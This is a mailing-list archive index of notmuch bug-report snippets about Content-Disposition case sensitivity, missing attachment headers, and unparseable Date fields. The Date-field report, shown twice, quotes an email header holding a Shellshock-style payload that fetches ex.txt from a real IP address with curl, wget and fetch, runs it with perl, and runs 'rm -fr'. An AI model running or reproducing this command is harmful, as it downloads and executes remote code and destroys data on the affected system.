Re: [WIP] tests: add test for case insensitive Content-Disposition

2015-10-18 Thread Johannes Schauer
Hi, Quoting Jani Nikula (2015-10-18 13:58:01) > On Tue, 06 Oct 2015, David Bremner wrote: > > These broken now, but will be fixed in the next commit > > --- > > > > The first test is OK, but the second one currently fails. It isn't > > clear to me if content dispositions

Re: [bug] notmuch requires Content-Disposition mime header value to be lower case

2015-09-18 Thread Johannes Schauer
Hi, Quoting David Bremner (2015-09-18 14:03:20) > I'd recommend making your own new test, rather than modifying existing > ones to test multiple things. I'd also recommend using json / sexp > output for your tests, since the ad-hoc text format is kindof > semi-deprecated. can you take care of

Re: [bug] notmuch requires Content-Disposition mime header value to be lower case

2015-09-17 Thread Johannes Schauer
Hi, Quoting Johannes Schauer (2015-09-17 10:36:12) > Quoting Johannes Schauer (2015-09-17 09:00:56) > > it seems that notmuch does not put the attachment tag if: > > > > Content-Disposition: ATTACHMENT; FILENAME=flyer-vk-web.pdf > > > > but it wo

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, Quoting Tomi Ollila (2015-04-22 15:37:15) > What do you mean by that datetime cannot handle dates before 1900 ? > > : $ python > : Python 2.7.6 (default, Mar 22 2014, 22:59:56) > : ... > : >>> datetime.datetime.strptime('1799-11', '%Y-%m') > : datetime.datetime(1799, 11, 1, 0, 0) > :

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, I recently received an email with the following date field (the value of all other headers is the same): Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr

Re: bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, Quoting Tomi Ollila (2015-04-22 15:37:15) What do you mean by that datetime cannot handle dates before 1900 ? : $ python : Python 2.7.6 (default, Mar 22 2014, 22:59:56) : ... : datetime.datetime.strptime('1799-11', '%Y-%m') : datetime.datetime(1799, 11, 1, 0, 0) :

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, I recently received an email with the following date field (the value of all other headers is the same): Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr

attachment with missing Content-Disposition

2013-05-08 Thread Johannes Schauer
Hi, I recently received a multipart email with one of the parts being a pdf but the part was not marked with "Content-Disposition: attachment". This let to notmuch not adding tag:attachment to it. The sender assured me that he used Outlook 2013 but I can't reproduce the problem myself as I dont